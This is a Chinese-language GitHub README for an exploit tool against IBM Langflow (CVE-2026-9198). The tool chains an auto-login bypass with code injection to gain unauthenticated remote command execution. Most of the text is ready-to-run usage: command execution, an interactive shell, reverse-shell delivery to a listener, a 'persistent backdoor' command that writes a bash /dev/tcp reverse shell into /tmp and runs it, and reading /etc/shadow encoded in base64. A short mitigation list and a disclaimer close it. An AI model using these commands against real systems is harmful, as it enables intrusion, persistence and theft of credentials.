0xgh057r3c0n/CVE-2026-9198
GitHub: 0xgh057r3c0n/CVE-2026-9198
针对 IBM Langflow 未授权 RCE 漏洞(CVE-2026-9198)的利用工具,通过绕过认证并注入代码实现远程命令执行。
Stars: 0 | Forks: 0

# 🚨 CVE-2026-9198
## IBM Langflow OSS 通过 Auto-Login Bypass 实现的未授权 RCE
[](https://opensource.org/licenses/MIT)
[](https://www.python.org/downloads/)
[](https://cve.mitre.org/)
## 📋 概述
**CVE-2026-9198** 是 IBM Langflow OSS 中一个严重的未授权远程代码执行 (RCE) 漏洞。此漏洞利用链由以下两个漏洞组成:
- **CVE-2026-9103**:Auto-login bypass 漏洞,向未经授权的调用者授予超级用户 JWT token
- **CVE-2026-8481**:`/api/v1/validate/code` endpoint 中的代码注入漏洞,允许执行任意 Python 代码
## 🚀 功能
- 🔓 **Auto-login bypass** - 自动获取超级用户 JWT token
- 💻 **交互式伪 shell** - 带有用户名和当前目录的动态提示符
- 📝 **单条命令执行** - 运行任意系统命令
- 🔄 **反向 shell** - 一句话反向 shell payload 投递
- 🎨 **彩色输出** - 使用 ANSI 颜色的视觉反馈
- ⚡ **快速且可靠** - 具有强大的错误处理机制
## 📦 安装
### 前置条件
- Python 3.6 或更高版本
- `pip` 包管理器
### 步骤 1:克隆仓库
```
git clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
```
### 步骤 2:安装依赖
```
pip install termcolor
```
或一次性安装所有依赖:
```
pip install -r requirements.txt
```
### 步骤 3:验证安装
```
python CVE-2026-9198.py --help
```
您应该会看到包含所有可用选项的帮助菜单。
## 🎯 使用方法
### 基本命令执行
在目标机器上执行单条命令:
```
python CVE-2026-9198.py -t
-c "id"
```
**示例**:
```
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
```
### 交互式伪 shell
启动带有动态提示符的交互式 shell:
```
python CVE-2026-9198.py -t --shell
```
**功能**:
- 显示 `user@host` 和当前目录的动态提示符
- 支持 `cd` 命令并自动更新提示符
- 命令历史记录(取决于终端)
- 整洁的输出格式
**示例会话**:
```
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
```
### 反向 shell
向监听器发送反向 shell payload:
```
python CVE-2026-9198.py -t --lhost --lport
```
**示例**:
```
# 在你的机器上 - 启动 listener
nc -lvnp 4444
# 然后运行 exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
```
### 自定义端口
如果 Langflow 运行在非默认端口上:
```
python CVE-2026-9198.py -t -p -c "whoami"
```
**示例**:
```
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
```
### 使用已获取的 Token
跳过 auto-login 流程并使用现有的 token:
```
python CVE-2026-9198.py -t -k -c "id"
```
### 超时配置
为较慢的网络调整 HTTP 超时时间:
```
python CVE-2026-9198.py -t --timeout 30 -c "whoami"
```
## 📝 命令行参数
| 参数 | 描述 | 必需 | 默认值 |
|----------|-------------|----------|---------|
| `-t, --target` | 目标主机/IP 或完整 URL | ✅ 是 | - |
| `-p, --port` | Langflow 端口 | ❌ 否 | 7860 |
| `-c, --cmd` | 执行单条命令 | ❌ 否 | "id" |
| `--shell` | 交互式伪 shell 模式 | ❌ 否 | False |
| `--lhost` | 反向 shell 监听器 IP | ❌ 否 | - |
| `--lport` | 反向 shell 监听器端口 | ❌ 否 | 4444 |
| `-k, --token` | 使用提供的 bearer token | ❌ 否 | - |
| `--timeout` | HTTP 超时时间(秒) | ❌ 否 | 20 |
| `--no-banner` | 隐藏横幅 | ❌ 否 | False |
## 🔧 示例
### 1. 基本信息收集
```
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
```
### 2. 文件系统探索
```
python CVE-2026-9198.py -t 192.168.1.100 --shell
# 然后在 shell 中:
ls -la
cat /etc/passwd
```
### 3. 持久化后门
```
# 创建一个持久的 reverse shell
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
```
### 4. 网络扫描(从目标机器)
```
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
```
### 5. 窃取敏感文件
```
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
```
## 🛡️ 缓解措施
要防止此漏洞被利用:
1. 在生产环境中**禁用 auto-login**
2. **应用** IBM 为 Langflow 发布的补丁
3. **限制** 对 Langflow 管理界面的网络访问
4. **监控** 针对 `/api/v1/auto_login` 和 `/api/v1/validate/code` 的异常 API 请求
5. **使用 WAF 规则** 阻止可疑的 payload 特征
## ⚠️ 免责声明
此工具仅用于教育和授权的安全测试目的。作者不对因使用此软件而造成的任何误用或损害负责。用户需自行负责遵守适用的法律法规。
## 📄 许可证
本项目基于 MIT 许可证授权 - 详情请参阅 [LICENSE](https://github.com/0xgh057r3c0n/CVE-2026-9198/blob/main/LICENSE) 文件。
## 👨💻 作者
**0xgh057r3c0n**
- GitHub: [@0xgh057r3c0n](https://github.com/0xgh057r3c0n)
- 安全研究员 & 渗透测试人员
## 📚 参考
- [CVE-2026-9198 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-9198)
- [CVE-2026-9103 - Auto-Login Bypass](https://nvd.nist.gov/vuln/detail/CVE-2026-9103)
- [CVE-2026-8481 - 代码注入](https://nvd.nist.gov/vuln/detail/CVE-2026-8481)
- [Langflow 官方网站](https://www.langflow.org/)
## ⭐ Star 历史
如果您觉得此工具很有用,请考虑在 GitHub 上给它点个 ⭐!
由 0xgh057r3c0n 用 ❤️ 制作
标签:CISA项目, Python, StruQ, 无后门, 编程工具, 身份认证绕过, 远程代码执行, 逆向工具